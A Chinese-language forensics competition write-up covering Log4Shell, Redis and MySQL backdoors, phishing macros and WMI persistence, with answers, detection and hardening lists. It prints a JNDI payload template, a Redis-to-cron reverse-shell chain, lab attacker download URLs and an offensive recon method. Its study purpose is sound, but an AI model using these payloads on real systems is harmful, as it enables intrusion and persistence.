答案是 2.14.1(在 OA 的 Java 依赖里找到 log4j-core-2.14.1.jar),落在 CVE-2021-44228(Log4Shell)的影响范围内。

排查方法:在 Java 应用的依赖目录(WEB-INF/lib/)里按文件名找 log4j-core-*.jar —— 版本号就写在文件名里,这是最快的一步。

2.5 #24 / #25 / #26 JNDI 注入链路三题

题答案怎么得到的
#24 第一条命令id攻击者载荷脚本里;也是验证 RCE 最经典的第一条命令
#25 LDAP 地址10.0.10.200:1389流量里来自受害机的出站 LDAP 连接(1389 = LDAP 默认端口)
#26 最先下载的脚本 URLhttp://10.0.10.200:8080/stage.sh流量里受害机向攻击机发起的 HTTP 下载

原理:为什么一个日志库能导致 RCE

Log4j2 支持在日志内容里做变量替换,其中 ${jndi:...} 会被解析成一次 JNDI 查找:

${jndi:ldap://攻击者/恶意类}

调用链:用户可控的字符串被写进日志 → Log4j 解析 ${} → 触发 JNDI → 通过 LDAP/RMI 从外部拉取并加载一个 Java 类。于是"写日志"变成了"远程代码执行"。

关键细节:JNDI 远程类加载在高版本 JDK 上受 trustURLCodebase=false 限制 —— 所以实战中攻击者往往不走"直接加载远程类",而是利用目标本地的 gadget 链来绕过。

一个共同判据:这三题都出自"出站流量"

都不是"读日志读出来的",而是从受害机的出站流量里看出来的。 应急响应有个反复出现的规律 —— 攻击者对一台机器的操作,在这台机器的出站流量上留下最完整的痕迹。

加固与检测

加固:升级 Log4j 到 2.17.1+;无法升级时设 log4j2.formatMsgNoLookups=true 或移除 JndiLookup 类;出站侧阻断 LDAP/RMI 到非受信网段。

检测:请求参数里出现 ${jndi: 及其变形(${${lower:j}ndi: 等);应用进程发起 LDAP/RMI 连接;Java 进程启动子进程(id、whoami、curl、wget)。

2.6 #30 – #33 Linux 侧后门与持久化

#30 / #31 后门账号

攻击者新增了一个账号(口令 Sys@Lab#Adm)。UID 的取值是知识点:把它设成 0,意味着这个"新用户"在系统眼里等同于 root —— 比加入 sudo 组更隐蔽,因为 sudo 会留日志,而 UID 0 不会。

排查要点:查后门账号不能只看"有没有奇怪的用户名",要查 UID 的重复 —— 正常系统里 UID 应该唯一,出现第二个 UID 0 就是确凿的入侵痕迹。

#32 systemd 持久化

攻击者装了 sys-health.service。伪装思路很清楚:起一个"系统健康检查"式的名字,混在正常的服务列表里。

检测:/etc/systemd/system/ 与 /lib/systemd/system/ 的目录基线;systemctl list-unit-files 的差异比对;journalctl -u <服务名> 看启动记录。

#33 心跳后门

一个每 60 秒执行一次的隐藏后门,回连 http://10.0.10.200:8080/health。伪装思路同样是"看起来像健康检查" —— 用 /health 这种监控系统惯用的路径名。

判断 C2 不能只看 IP,要按"连接方向"区分:同一个攻击机 IP 上,8080 负责载荷投递与存活探测,8443 才是真正的回连(见 2.10)。受害机主动去取文件(下载)和受害机主动连回来(回连)是两件事。

加固与检测

加固:账号基线(UID 唯一性校验);定期比对 systemd unit 目录;计划任务与定时器审计。

检测:新增 UID 0 账号;非常规命名的 systemd 服务;固定周期(60s)的规律性出站连接(心跳后门最典型的网络特征);/health、/api/ping、/status 这类伪装成监控路径的出站请求。

2.7 #27 / #28 / #34 / #35 答案藏在攻击者自己留下的脚本里

这一节体现的是取证效率方法,比单个答案更值得记。

#28 最先下载脚本的绝对路径与最后修改时间

答案是 /tmp/stage.sh 与它的最后修改时间 19:32。判据链条:先看到受害机下载了 stage.sh,再看它在本地落到哪里、什么时候被写下来 —— 文件 mtime 与流量里的下载时刻互相印证。

这是应急响应的核心手法:多来源交叉验证。 流量说"发生了什么",文件系统说"留下了什么",日志说"谁做的" —— 三者时间吻合才能定案。

#27 数据外传的 HTTP 接口路径

答案是 /upload.php。判据是"反常识"的:攻击者没有自己搭一个上传通道,而是用了目标自己的业务接口做数据外传。

为什么这样做:业务接口在防火墙上通常是放行的,流量看起来也是"正常的业务行为",比自建通道隐蔽得多。

可迁移的判据:排查数据外传时,除了看"可疑的外部地址",还要看正常业务接口的异常使用 —— 异常的时间、频率、大小、来源主机。本题里 /upload.php 被"OA 服务器之外的主机"调用,这就是异常。

#34 配置文件里的明文数据库口令

答案是 OaDb@Lab#7f3a,藏在 OA 应用的 WEB-INF/classes/db.properties 里 —— 口令是明文存的(真实环境里也非常普遍)。

校验细节:这类含特殊字符的口令要逐字节核对,因为从各种界面里读 #、4、a、A 这类字符极易看错。

#35 内网扫描工具的版本号

答案是 2.1.2(Fscan)。做法:找到攻击者留在机器上的扫描工具,读它的版本号。

教学点:攻击者留下的工具本身就是情报。 工具版本能反推攻击者的准备程度、常用手法,甚至能关联到同一批工具的其他攻击活动(真实事件里这是威胁情报的重要来源)。

加固与检测

加固:配置口令不存明文(用密钥管理)或严格限制文件权限;/tmp 挂载 noexec。

检测:/tmp 下出现脚本文件(正常服务不会把脚本放 /tmp);业务接口的来源 IP 不在预期范围内;主机上出现扫描器特征。

2.8 #36 – #39 Redis 未授权利用链

#36 被关掉的 Redis 配置项:rdbcompression

这题的攻坚过程很值得学(当时在一堆候选里选错了两次):

  1. 第一次选错:选了 dir。理由是 dir 决定计划任务落地的位置,看起来"是关键一步"。但题目问的是"关掉"—— dir 是被改写了,不是被关闭。
  2. 第二次排除:在配置文件里做静态 diff 找"从 yes 变 no"的项,但文件里没有 CONFIG REWRITE 产生的追加段 —— 静态对比看不到运行时改动。
  3. 最后命中:在流量包和攻击者脚本里找到了答案 —— 脚本里明确把 rdbcompression 从 yes 改成了 no。

为什么攻防双方都关心这一项:rdbcompression 控制 RDB 快照是否压缩。关掉压缩,RDB 文件里就是明文数据,攻击者可以直接读;开着则还需先解压。这是"为了方便取数据"而做的配置改动。

两条通用教训: ① 读题要抠动词。 "关闭"和"改写"是两回事 —— 口径理解错了,后面全白做。 ② "文件没变"不等于"配置没被改"。 运行时修改只在流量(CONFIG SET 命令)和内存里,配置文件可能根本没变。

#37 / #38 Redis 写入的计划任务

  • #37:/etc/cron.d/redis_sync
  • #38:回连 10.0.10.200:4444

原理:Redis 未授权的经典利用姿势之一 —— 把数据目录和文件名改掉,然后让它"持久化"出一个文件:

CONFIG SET dir /etc/cron.d CONFIG SET dbfilename redis_sync SET x "\n* * * * * root <反弹shell命令>\n" BGSAVE

Redis 把内存里的内容写成了 /etc/cron.d/redis_sync —— 而 cron 会读它,一个"数据文件"变成了一个计划任务。

这个手法的通用性很高:本质是"让一个有写文件能力的服务,把内容写到高权限会执行的位置"。同类还有写 SSH authorized_keys、写 Web 目录拿 webshell、写 /var/spool/cron/。

为什么选 /etc/cron.d/:这个目录里的文件不需要可执行权限、不需要重启 cron,只要格式对就会被加载 —— 比改 root 自己的 crontab 更省事。

#39 打包外传的压缩包名

db_export_<日期>.tar.gz —— 攻击者把数据库导出、打包,再从 #27 那个接口送出去。

加固与检测

加固:Redis 必须 requirepass + bind 127.0.0.1 + rename-command 禁掉 CONFIG/MODULE/SLAVEOF;以低权用户运行(这样即使能写文件也写不到 /etc)。

检测:CONFIG SET dir / CONFIG SET dbfilename / BGSAVE / SLAVEOF / MODULE LOAD 的调用审计;/etc/cron.d/ 完整性监控(新建文件立即告警);Redis 进程写文件到非数据目录。

2.9 #40 / #41 MySQL 后门账号

  • #40:新增账号 db_backup
  • #41:口令 Db@Backup2026

(源记录里另有 Db@Backup#2026 的写法,提交时以计分口径为准 —— 这类含特殊字符的口令务必字节级核对。)

原理:攻击者拿到数据库权限后,第一件事是留一个自己的账号 —— 独立于应用账号,应用改口令也不影响他,而且可以用它从其他主机连进来做横向。

排查要点:

sql
SELECT user, host, authentication_string FROM mysql.user; -- 有哪些账号、从哪些主机能连 SHOW GRANTS FOR 'db_backup'@'%'; -- 有什么权限

关键判据是 host 字段:正常应用账号通常是 localhost 或特定内网 IP;后门账号往往是 %(任意主机)—— 因为攻击者要从别的地方连进来。

通用思路:找后门账号不要只看"名字奇怪不奇怪",要看它的权限范围和来源限制是否与业务角色匹配。一个叫 backup 的账号如果有 ALL PRIVILEGES 且能从任意主机连,那就是后门。

加固与检测:mysql.user 定期基线比对;审计日志监控 CREATE USER、GRANT;数据库账号口令轮换。

2.10 #42 / #43 / #47 Windows 域内横向与 C2

  • #42:横向登录使用的账号 svc_backup
  • #43:该账号最后登录时间 2026-09-22 20:11
  • #47:Windows 后门回连 C2 10.0.10.200:8443

怎么从事件日志里找横向

Windows 安全日志里的登录事件 ID 是取证核心:

事件 ID含义用途
4624登录成功看登录类型:Type 3 = 网络(SMB/共享)、Type 10 = RDP
4625登录失败爆破痕迹
4672授予特殊特权登录后拿到管理员权限
4634注销会话时长

判据组合:svc_backup 本身是服务账号(名字就写着 backup),而它出现了 Type 3 网络登录 —— 服务账号不应该交互式/网络登录,这就是异常。

可迁移的判据:找横向不要只看"谁登录了",要看这个账号的角色与它的登录方式是否匹配。服务账号做网络登录、普通用户登录域控、非工作时间登录 —— 这三类是最高频的横向信号。

一个 IP 多个角色的辨析(这题当时判错过)

同一个攻击机 IP 上,8080 和 8443 是两件不同的事:

  • 8080 负责载荷投递(宏去下载 exe)与存活探测
  • 8443 才是回连端口(远控和后门都连它)

当时因为 8080 同时出现在 PC-HR 的宏和 WEB-DMZ 的后门脚本里,就把它判成了 C2 —— 错了。题面用的词是"回连",这个措辞已经在提示连接方向。

正确的做法:按源地址分组统计建连。谁主动连谁、连到哪个端口,一统计就分清了"投递"和"回连"。

加固与检测

加固:服务账号口令定期轮换、限定登录来源与登录类型;域内禁用不必要的 NTLM;出站连接白名单。

检测:服务账号的网络登录(4624 Type 3);非工作时间登录;出站连接到非业务端口(8443/4444 等);同一外部 IP 同时出现在"下载"和"回连"两个方向。

2.11 #48 – #50 勒索现场(未解)

这三题当时没有做出来,把掌握的线索和正确路径写下来。

题目问:勒索程序的文件名与加密后缀 / 勒索信内容与联系邮箱 / 首次执行时间。

勒索事件的通用取证痕迹(下次照这个清单走):

痕迹位置内容
文件系统被加密文件的后缀名、目录下的勒索信文本(通常每个目录一份)
卷影副本vssadmin delete shadows 会清掉 —— 事件日志里能看到这条命令
事件日志大量文件被改写;4697(服务安装)、7045(系统日志里的服务安装)常用于部署勒索载荷
计划任务勒索程序常通过计划任务启动
进程加密进程及其父进程链
时间线最早被加密的文件 mtime ≈ 首次执行时间

尤其是"最早被加密文件的 mtime" —— 这几乎总是"首次执行时间"最可靠的答案来源(比日志更直接),因为加密是从某个时刻开始批量发生的。

加固:3-2-1 备份并离线保存(勒索最怕离线备份);卷影副本保护;限制 vssadmin 等工具的执行(ASR 规则);端点防护。

2.12 #51 / #52 钓鱼邮件

  • #51 发件人:hr@corp-help.com
  • #52 附件名:季度考核通知.docm

附件名 ≠ 落地文件名(本题最值钱的一个判断)

邮件里的附件叫 季度考核通知.docm,但它落盘后变成了 .docx(很多邮件客户端/预览机制的行为)。按桌面上的文件名提交,答案就是错的。

判据:题面问"附件名"时要取邮件头里的附件参数(Content-Disposition 的 filename),而不是文件系统里的名字。

.docm 与 .docx 的差别还有一层含义:只有前者(macro-enabled)能承载宏。攻击者用 .docm,说明载荷就是宏 —— 这本身就是判据。

发件人域名的仿冒

corp-help.com 与真实域名相似但不相同 —— 典型的仿冒域名手法(用"help"这种让人觉得可信的词)。

加固与检测

加固:邮件网关拦截仿冒域名与宏附件;SPF/DKIM/DMARC。

检测:外部发件人仿冒内部域名(相似域名检测);宏附件(.docm/.xlsm)进入邮箱的记录。

2.13 #53 – #56 宏载荷与持久化

  • #53 宏下载 URL:http://10.0.10.200:8080/helper.exe
  • #54 落地路径:C:\Users\hruser\AppData\Local\Temp\helper.exe
  • #55 注册表 Run 键名:OneDriveUpdate
  • #56 远控回连 C2:10.0.10.200:8443

先找持久化点,再反推落地路径

#54 和 #55 这两题的最优解法是倒着来的:

查 HKCU\...\Run → 看到 OneDriveUpdate → C:\Users\hruser\AppData\Local\Temp\helper.exe

一条注册表查询同时回答两题。 反过来先去遍历 Temp 目录就惨了 —— 那里有几百个文件,很难认出哪个是载荷。

可迁移的经验:持久化点比载荷文件更好找,因为它是有名字、有结构的。 先定位持久化,再由它反推载荷路径、反推 C2。

宏的三个知识点

① 宏放在哪。 .docm 是 OOXML(一个 ZIP 容器),解包后宏二进制在 word/vbaProject.bin 里,里面的字符串是明文的 —— 下载 URL、落地路径、C2 地址都能直接看到。

② 伪装成正常更新。 Run 键名 OneDriveUpdate —— 用了"OneDrive"这个用户天天见的词,"更新"又是最不引起怀疑的行为。

③ 两阶段载荷。 宏本身不直接是远控,它只负责下载并运行一个 exe(helper.exe),真正的远控是那个 exe。这样宏可以写得很小很简单(降低被杀概率),而真正的载荷可以随时更换。

加固与检测

加固:GPO 禁用宏 / 只允许签名的宏 / 阻止来自 Internet 的宏(Mark-of-the-Web);ASR 规则阻止 Office 应用创建子进程。

检测:winword.exe → wscript.exe / powershell.exe / cmd.exe 的进程创建链(Office 起子进程是宏攻击最强特征);%TEMP%、%APPDATA%、C:\ProgramData 下可执行文件的创建(Sysmon 事件 11);Run 键的写入(Sysmon 事件 13);出站连接到 8443 这类非常规端口。

2.14 未记录的题(#21、#22、#29、#44 – #46)

这几题当时没有留下题解,把掌握的线索与正确的取证方法写下来。

#21 / #22 攻击源 IP 与被攻击服务的监听地址

候选答案:攻击源 10.0.10.100;被攻击服务监听 10.0.10.10:8080。

方法:和题目一的 Q1 完全一样 —— 按"目的地址 = 受害机"聚合统计来源 IP,并区分"打进来"和"被连出去"两个方向(10.0.10.200 是 C2,10.0.10.100 是攻击者的操作机)。监听地址则看被攻击端口绑定在哪个地址上(10.0.10.10:8080 还是 0.0.0.0:8080,这两个答案的区别就是题目的考点)。

#29 SSH 免密后门密钥被成功登录的次数

候选答案:5。

方法:攻击者在 authorized_keys 里留了免密公钥。统计"这个密钥被成功使用过几次"要查 sshd 日志里的 Accepted publickey for <用户> from <IP> ... ssh2: RSA SHA256:<指纹> 记录,按指纹过滤计数。

知识点:Accepted publickey 与 Accepted password 是两种不同的认证方式,日志里都能看到 —— 排查后门时两种都要数。authorized_keys 里的公钥要逐条比对指纹与注释(注释字段常被改成伪装的名字)。

#44 / #45 / #46 后门账号加入的组 / 计划任务名称 / Windows 后门程序路径

方法(逐题可复现):

题取证命令
#44 后门账号加入的组net user <账号名> / Get-LocalGroupMember -Group Administrators
#45 计划任务名称schtasks /query /fo LIST /v(或 Get-ScheduledTask),按"创建时间 + Run As + 动作路径"筛
#46 Windows 后门程序路径从计划任务/服务的动作路径反推,或 Get-CimInstance Win32_StartupCommand

逐题根因:这三题的答案都指向同一个地方 —— DC-FILE 上攻击者创建的"持久化三件套"(账号+组、计划任务、后门程序)。当时把精力放在勒索痕迹上,没有回头补这块基础设施,属于覆盖面问题。

2.15 本场景的加固与检测清单(汇总)

层次加固检测
边界应用升级 Log4j;出站阻断 LDAP/RMI${jndi: 变形;Java 起子进程
Linux 账号账号基线;UID 唯一性新增 UID 0;authorized_keys 指纹比对
Linux 持久化systemd/cron 目录基线非常规命名服务;固定 60s 周期外连;/tmp 脚本
配置与凭据配置不明文存口令;密钥管理业务接口异常来源;服务器出站连接审计
Redisrequirepass+绑本地+禁危险命令+低权运行CONFIG SET/BGSAVE/SLAVEOF/MODULE LOAD 审计;/etc/cron.d 完整性
MySQL强口令;账号基线mysql.user 比对;CREATE USER/GRANT 审计
Windows 横向服务账号口令轮换 + 限登录类型4624 Type 3;非工作时间登录
终端与邮件GPO 禁宏;邮件网关Office 起子进程;%TEMP% 可执行文件;Run 键写入
勒索防护3-2-1 离线备份;卷影保护vssadmin delete shadows;大量文件改写

题目三 · APT 恶意样本深度分析(10 题)

3.1 场景与分析方法

样本:EVIDENCE(10.0.20.50)桌面上的一个 .doc 文档。要求纯静态分析,不运行。

核心解法(本组题高度一致):

把文档解包 → 提取宏 → 把宏里的 base64 常量解出来 → 答案全在解出来的脚本里

基本工具链:olevba / oledump 提取宏、unzip/7z 解 OOXML、Base64 解码、PE/导入表查看、字符串检索。

3.2 逐题索引(#57 – #66)

题题目答案详解
#57被 wscript 执行的脚本名未记录(已计分无题解)3.6
#58第二阶段载荷落地目录C:\ProgramData\Windows3.3
#59DLL 文件名CtxDnsClient.dll3.4
#60WMI 滤波器与消费者名称CtxDnsClient_Filter / CtxDnsClient_consumer3.4
#61WMI 消费者拉起的可执行文件C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe3.5
#62from 后面的事件类名__InstanceCreationEvent3.4
#63非管理员分支计划任务的 /trC:\Windows\System32\wscript.exe3.5
#64Base64 解码结果的文件头前 4 字节未记录3.6
#65第三阶段脚本的互斥体名称未提交3.6
#66域名数组总数与 reld. 域名未提交3.6

3.3 #58 第二阶段载荷落地目录

答案是 C:\ProgramData\Windows。

做法:在解出来的脚本里看到 $env:programdata 与 \Windows 的字符串拼接 —— 这是伪装成系统目录的落地点(真实系统目录是 C:\Windows,加一层 ProgramData 就混进了"看起来像系统路径"的样子)。

判据:C:\ProgramData、%APPDATA%、%TEMP% 都是普通用户可写的目录,因此是恶意载荷的首选落地处。排查时优先看这几个地方。

3.4 #59 / #60 / #62 WMI 持久化的三件套

题答案
#59 DLL 文件名CtxDnsClient.dll
#60 WMI 滤波器与消费者名称CtxDnsClient_Filter / CtxDnsClient_consumer
#62 from 后面的事件类名__InstanceCreationEvent

原理(WMI 事件订阅持久化,ATT&CK T1546.003)

WMI 可以配置"当某个事件发生时,自动执行某个动作"。它由三个对象组成,缺一不可:

对象作用
__EventFilter什么时候触发(查询条件)
__EventConsumer触发后做什么(执行命令/脚本)
__FilterToConsumerBinding把上面两者绑在一起

本题的触发条件是 __InstanceCreationEvent —— 即"当某个实例被创建时"。它常配合 WITHIN 30 这类轮询间隔使用,本质上是一个定时器(所以它能当"开机自启"或"定期执行"用)。

为什么恶意软件喜欢 WMI:它是系统自带的合法机制,配置存在 WMI 仓库里(不是文件),没有文件落地:杀软不易发现、用户也很难手动看到。

检测要点(很容易漏):查 WMI 持久化必须三个类都查。只查 __EventFilter 会漏掉消费者,只查消费者会漏掉绑定关系。

命名规律

三个对象的命名有共同前缀(CtxDnsClient_*)—— 这是排查时的重要线索:找到任意一个,就能按前缀把另外两个一起捞出来。

3.5 #61 / #63 两个执行分支

题答案
#61 WMI 消费者拉起的可执行文件C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
#63 非管理员分支计划任务的 /trC:\Windows\System32\wscript.exe

#61 的判据:ExecutablePath 与 CommandLineTemplate 互相印证 —— 两处独立来源指向同一个路径,结论才可靠。

#63 的判据是"分支归属":脚本里有四条 schtasks 命令,分别对应"管理员 / 非管理员"两种运行环境。要判断哪一条属于"非管理员分支",靠的是上下文逻辑(前置的权限判断),不是靠位置。

教学点:恶意脚本经常写多条分支来适配不同环境(有没有管理员权限、有没有装某个软件)。分析时不要只看第一条,要按分支条件归类。

为什么用 wscript 而不是 powershell:wscript.exe 是 Windows 自带的脚本宿主,属于"签名二进制" —— 用它执行 .vbs/.js 可以绕过很多只拦"命令行工具"的防护(ATT&CK T1218.011 签名二进制代理执行)。

3.6 未解与线索(#57、#64、#65、#66)

#57 被 wscript 执行的脚本名

已计分但没有留下题解。 线索方向:脚本宿主执行的必然是一个 .vbs/.js 文件,它的路径/文件名应该在宏代码或解出来的载荷里;#63 的计划任务 /tr 指向 wscript.exe,它的参数部分(脚本路径)就是答案所在。

#64 Base64 解码结果的文件头前 4 字节

已计分但没有留下题解。 这题其实问的是"这个 Base64 串解码后是什么文件"。记住几个常见魔数就能秒答:

Base64 前缀解码后前几字节文件类型
TVqQ4D 5APE 可执行文件(MZ 头)
UEsDB50 4B 03 04ZIP(含 OOXML/APK/JAR)
H4sI1F 8B 08gzip
e1xyd7B 5C 72 74RTF
0M8R4D0 CF 11 E0OLE2(老版 Office)

注意"前 4 字节"和"PE 签名"的区别:PE 文件的前两字节是 MZ,而 PE\0\0 签名在偏移 0x3C 指向的位置。题目问"前 4 字节",答案应是 4D 5A 开头的那四字节,而不是 PE\0\0 —— 审题要精确到字节。

#65 / #66 第三阶段脚本的互斥体与域名数组

当时的搜索范围:在导出的流量对象里检索(几百个对象、几十万字节),命中大量噪声。

判断偏差:把题目二的证据链(另一个流量包)和题目三的素材混用了 —— 两份证据属于不同题目,混在一起检索必然找不到正确答案。

后续路径:

  • #65 互斥体名称通常在第三阶段脚本里以字符串常量出现,且常用于单实例控制与沙箱环境检测 —— 应在第三阶段脚本本体里找,而不是在流量导出物里找
  • #66 域名数组通常在脚本里以数组字面量出现 —— 找到数组后要数总数(reld. 前缀的可能是特定 C2 家族特征)

两条通用教训: ① 证据链不能混用。 每个题组有它自己的证据范围,先确认"这个素材属于哪道题"。 ② 检索之前先缩小范围。 在没有明确范围的情况下对几十万字节做字符串检索,命中必然是噪声占多数。

换方法:静态分析答不出的题应该交给行为分析

互斥体、域名数组这类东西跑一次沙箱就能直接从行为日志里看到。工具选错,努力白费 —— 在纯静态检索里耗了很久,是这一组最大的时间浪费。

3.7 本场景的加固与检测清单(汇总)

层次加固检测
宏GPO 禁用宏;只允许签名宏Office 起子进程(winword → wscript/powershell)
WMI收紧 WMI 事件订阅创建权限三个订阅类都要查;WMI-Activity 事件 5861
计划任务限制普通用户创建计划任务安全日志 4698;TaskScheduler 日志 106;/tr 指向 wscript 的异常任务
脚本宿主ASR 规则;限制 wscript/cscript/mshta/regsvr32/rundll32父进程是 WMI 的 powershell.exe(非常异常)
落地目录终端防护C:\ProgramData、%TEMP%、%APPDATA% 下可执行文件创建(Sysmon 11)
DNS/网络DNS 日志与信誉特征域名(reld. 等);异常 DNS 请求量

下午场失败复盘

① 场景内的证据链混用。 题目三的检索里混进了题目二的流量包 —— 每个场景/题组有自己的证据范围,先确认素材归属再检索。

② 口径没对齐就开始算。 Q11"爆破次数"反复提交不对,根因是口径歧义而非统计能力问题。遇到"数不清"的题,先把每种口径都算出来列表。

③ 只解了一半的数据流。 冰蝎只解了请求方向、没解响应方向,导致 Q10 拿不到;webshell 流量只解了一条流就想统计模块,差点得出"攻击者没用命令执行"的错误结论。"样本不足"是取证里最隐蔽的坑。

④ 把"命中"当"结论"。 哈希撞出口令就认定是攻击者设的密码,而备份文件对比证明它压根没变过。找反证应该成为下结论前的固定动作。

⑤ 覆盖面不均衡。 题目二里"勒索痕迹"花了大量时间(三题仍无果),而后门账号的组、计划任务名、后门程序路径这三题(本来有明确取证命令)反而没做 —— 应该先把"有确定方法"的题全部收掉,再攻难点。

⑥ 静态分析硬啃。 题目三的 #65/#66 在纯静态检索里耗了很久,而这类东西跑一次沙箱就能直接从行为日志里看到。工具选错,努力白费。


第三部分 方法论

17. 攻方:从侦察到拿下的判断链

37.1 开工三问

  1. 这台机器是干什么的?(首页、自述页面往往自己列功能入口 —— 本题 tool 的首页直接列出了所有功能路径,省掉几百次目录猜解)
  2. 它开了哪些端口、跑着什么版本?(服务 → 协议 → 默认弱点的映射:见 8848 想 Nacos,见 8081 想 Tomcat Manager,见 6379 想 Redis 未授权,见 445 想匿名 SMB,见 21 想匿名 FTP)
  3. 题面用词指向哪里?("响应中"→读返回体;"附件中"→文件系统;"公告中"→后台;"共享目录"→文件协议;"数据库中"→查库)

37.2 侦察顺序

读首页/自述 → 端口扫描 → 服务与版本识别 → 已知漏洞匹配 → 默认凭据/匿名访问试探 ↓ 目录与文件:robots.txt、备份目录、.git、前端 JS

为什么这个顺序:前几步成本极低、命中率极高。先做"一条命令就能验证"的事(匿名登录、默认口令、已知漏洞路径),再进入需要构造 payload 的阶段。

37.3 攻击面收敛:让事实决定方向

题面里的抽象说法必须先落成具体技术再动手。比如"文件共享"覆盖 SMB/FTP/NFS 三种东西、处理方式完全不同 —— 端口扫描结果里没有 445 和 139,SMB 这条路就该被立即排除,不要在它上面花任何时间。

不要凭印象选工具(先装好 impacket 再发现用不上,是典型的浪费)。

37.4 凭据泄露点清单(值得随手记)

位置典型内容
前端 JS硬编码的 token、AK/SK、API key(每碰到一个站点都该把 JS 翻一遍)
配置文件数据库口令、中间件口令、加密盐值(常为明文)
配置中心(Nacos/Apollo/etcd)整个集群的凭据表
源码备份 / .git一切
共享目录 / FTP交接文档、说明文件(文件名有语境的优先读)
堆转储 / 内存明文口令、JWT、连接串
业务数据表备注字段、变更记录、内部留档
报错信息绝对路径、框架版本、SQL 片段

37.5 遇到"要凭据"时先推理,别急着爆破

核心问句:谁会持有这个凭据?

  • 接口是给前端大屏用的 → 前端必须持有 token → 去前端 JS 里找
  • 接口是给内部服务调用的 → 服务端配置里应该有

这是从调用关系推出来的必然结论,比字典爆破高效得多。爆破是兜底手段,不是首选。

37.6 失败诊断:先怀疑自己,再怀疑目标

现象第一嫌疑
响应 0 字节请求根本没发出去(编码/通配符/静默选项吞了报错)
404路径/模块/参数真的错了,或某一段被传输链改写
403角色或协议用错了(先查文档,不是先换工具)
500 / 抛异常代码到达了目标点 —— 往往离成功最近,读异常信息
没有输出输出通道问题,不是执行问题(写文件再读)

一句话:先确认"请求是否原样到达",再怀疑"目标是否防住了"。

37.7 通道能力评估

在开始之前先摸清手里这个 shell / 会话能做什么:能不能传文件、能不能起子进程、能不能出网、命令长度有没有上限、哪些字符会失真。

"工具在当前环境里失效"和"目标不给"是两回事 —— 用某个工具下结论之前,先确认它的用法在这个环境里有效(which、看帮助)。一个手段失效不代表这条路走不通,换一个实现方式往往就通了。

37.8 长串一致性

从任何界面里抄下来的长串都必须校验:长度校验(flag 正文恒为 32 位十六进制)、格式校验(正则)、必要时要逐字节核对(od -c)。

最可靠的一招是让目标机自己回答对错:把可疑的值写进目标机的命令里做匹配,只把"命中/不命中"读回来 —— 把"人眼抄写"这个不可靠环节整个移除。


18. 守方:应急取证的判断链

38.1 先找攻击者的遗留物,再逐题检索

这是下午场效率最高的一条经验。 攻击者留下的脚本、工具、配置改动高度集中 —— 一个 stage.sh 可能同时包含 C2 地址、持久化服务名、后门账号口令。通读遗留物,比按题号一条条查快得多。

而且遗留物的属主能指出入口:脚本属主是 Web 用户而不是 root → 入侵起点在 Web 应用。

38.2 取证素材的优先级

素材适用问题
流量包跨主机行为、加密通道内容、下载了什么、回连到哪里
主机文件系统落地了什么、持久化在哪、文件什么时候被改
日志(应用/系统/认证)谁在什么时候做了什么
内存无文件载荷、运行时密钥

跨主机行为一定要去流量里找 —— 两台机器都没有完整操作日志时,只有流量是完整的。

大流量包的处理:不要逐条看。先按受害机 IP 剪裁,再用工具一次把 HTTP 传输过的文件整体导出,然后在导出物里检索。

38.3 证据复核的固定动作

下任何结论之前,找一条反证。

  • 值匹配 ≠ 来源匹配(哈希撞出的口令可能本来就是这台机器的)
  • 字符串命中 ≠ 属于本题(检索命中关键词只说明值存在)
  • 二进制里有目标字节序列 ≠ 就是它(可能是噪声、可能是别的题组的素材)
  • 文件 mtime = 案发日 ≠ 就是被篡改(镜像可能是案发当天构建的,时间戳会被污染)

最有效的反证手段是 diff 一份备份文件 —— /etc/shadow vs /etc/shadow-、当前配置 vs 基线快照、这台机器 vs 同版本的其他机器。成本极低,收益极高。

38.4 判据要看"角色是否匹配"

这是几个高分题的共同解法:

对象正常应该是什么样异常信号
用户账号UID 唯一出现第二个 UID 0(比加入 sudo 组更隐蔽,因为不留 sudo 日志)
服务账号不交互登录出现 Type 3 网络登录(横向的强信号)
数据库账号host 限定、权限贴合业务host 为 % + ALL PRIVILEGES(后门账号的典型特征)
计划任务有业务含义的命名伪装成健康检查的命名(sys-health、/health)
落地文件有业务路径落在 /tmp、C:\ProgramData、%TEMP%

38.5 时间线重建

多来源交叉验证:流量说"发生了什么",文件系统说"留下了什么",日志说"谁做的" —— 三者时间吻合才能定案。

单个来源都可能被篡改或误读;当某个来源缺失时(比如流量包里没保存 POST 载荷),要明确记录"该证据不可用",而不是用推测填补空白。

38.6 口径歧义的处理

"数不清"的题往往是口径问题,不是统计问题。(见 35.2)

做法:把每种可能的口径都算出来列成表,逐一对齐题意;同时检查自己的统计命令是否误匹配(grep -c 404 会把长度含 404 的行算进去)。

38.7 图形工具优先(这条反直觉但很实用)

在客户机上有图形界面时,看文件属性、看邮件原文、用 Alt+F11 看宏源码,往往比在命令行里检索二进制字符串快得多且不易出错(二进制检索命中的多是噪声)。

工具选对了,一道题可能从"半小时没头绪"变成"一眼看到"。


19. 失败模式总表

#失败模式现象根因正确做法
1PoC 不通就判"漏洞不存在"404PoC 依赖的模块/路径在目标上不存在读异常信息;换真实模块名;区分"payload 错"与"目标修了"
2把工具问题当目标防御响应 0 字节、无输出请求没发出去 / 输出通道不对先验证请求是否原样到达;换实现方式
3不回显当成没执行一片空白无 tty / 没读 stderr / 输出被缓冲让命令写文件再读;做带外可见的副作用
4只解一条流量就下结论模块统计错误样本不足先枚举全部相关流,再统计
5只解一半数据流拿不到响应里的字段只解了请求方向请求和响应的编码可能不对称,两边都要解
6证据链混用检索无结果用了别的题组的素材先确认素材归属
7命中当结论提交错误答案值匹配 ≠ 来源匹配下结论前 diff 一份备份找反证
8时间戳污染SUID/mtime 分析一堆假阳性镜像在案发日构建用内容与包归属判断,不用时间
9口径没对齐同一题反复提交错题目问的口径与统计口径不同列出所有口径逐一对齐;检查统计命令误匹配
10客户端校验当安全机制口令被直接反推密钥/算法都在客户端校验放服务端;用不可逆派生
11配置明文存口令一次泄露全线崩配置中心/配置文件明文密钥管理 + 最小权限
12只校验 Content-Type上传绕过客户端声明不可信扩展名白名单 + 内容嗅探 + 存 Web 根外
13只顾一个方向的后门漏掉记录出站口令的那一半没意识到 ssh 与 sshd 是两半成对排查同类组件
14Windows 应用池禁子进程马能执行但无输出起进程被策略挡住写纯 IO 的马,不依赖子进程
15C2 只看 IP 不看方向把投递端口判成回连端口忽略了"连接方向"按源地址分组统计建连,区分投递与回连
16静态分析硬啃耗时长且无果方法选错换行为分析 / 沙箱
17跳板/隧道决策错内网久攻不下在低权 shell 里做中继先固化一台边界机 root,再端口转发架隧道
